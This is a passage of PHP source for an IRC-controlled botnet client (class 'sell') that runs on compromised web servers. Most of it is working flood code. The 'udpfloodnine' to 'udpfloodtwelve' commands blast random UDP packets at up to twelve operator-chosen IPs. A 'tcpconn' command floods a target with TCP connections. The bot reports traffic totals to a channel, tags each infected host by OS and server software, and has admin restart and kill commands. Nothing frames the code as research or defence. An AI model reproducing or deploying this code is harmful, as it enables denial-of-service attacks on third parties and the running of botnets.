if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <port> <time> <size>");}
break;
case "udpfloodnine":
if ($mcmd[11] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>12) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$port = $mcmd[10];
$time = $mcmd[11];
$packetsize = $mcmd[12];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <port> <time> <size>");}
break;
case "udpfloodten":
if ($mcmd[12] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>13) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$port = $mcmd[11];
$time = $mcmd[12];
$packetsize = $mcmd[13];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <port> <time> <size>");}
break;
case "udpfloodeleven":
if ($mcmd[13] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>14) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$port = $mcmd[12];
$time = $mcmd[13];
$packetsize = $mcmd[14];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <port> <time> <size>");}
break;
case "udpfloodtwelve":
if ($mcmd[14] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
if(count($mcmd)>15) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$host12 = $mcmd[12];
$port = $mcmd[13];
$time = $mcmd[14];
$packetsize = $mcmd[15];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
$fp12 = fsockopen("udp://".$host12,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp12,$packet);
fflush($fp12);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
fclose($fp12);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <ip12> <port> <time> <size>");}
break;
case "tcpconn":
if(count($mcmd)>3) { $this->tcp($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "botrestart":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Restarting!");
fclose($this->conn);
$this->start();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
case "botdie":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Stopping!");
fclose($this->conn);
exit();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
}
}
break;
}
}
}
}
}
function send($msg) {
fwrite($this->conn,$msg."\r\n");
}
function join($chan,$key=NULL) {
$this->send("JOIN ".$chan." ".$key);
}
function auth($chan) {
$this->send("PART ".$chan);
}
function privmsg($to,$msg) {
$this->send("PRIVMSG ".$to." :".$msg);
}
function notice($to,$msg) {
$this->send("NOTICE ".$to." :".$msg);
}
function set_nick() {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $OS = "Windows";} else {$OS = "Linux";}
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$prefix = "[".$OS."]".$this->nick."[".$this->config['prefix']."]|%s";
$nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
$this->nick = sprintf($prefix, $nickk);
$this->send("NICK ".$this->nick);
}
function tcp($host,$port,$time) {
$this->privmsg($this->config['chan'], "[\2tcp started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen("tcp://".$host, $port, $e, $s, 5);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[\2tcp Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$poll = new sell;
$poll->start();
?>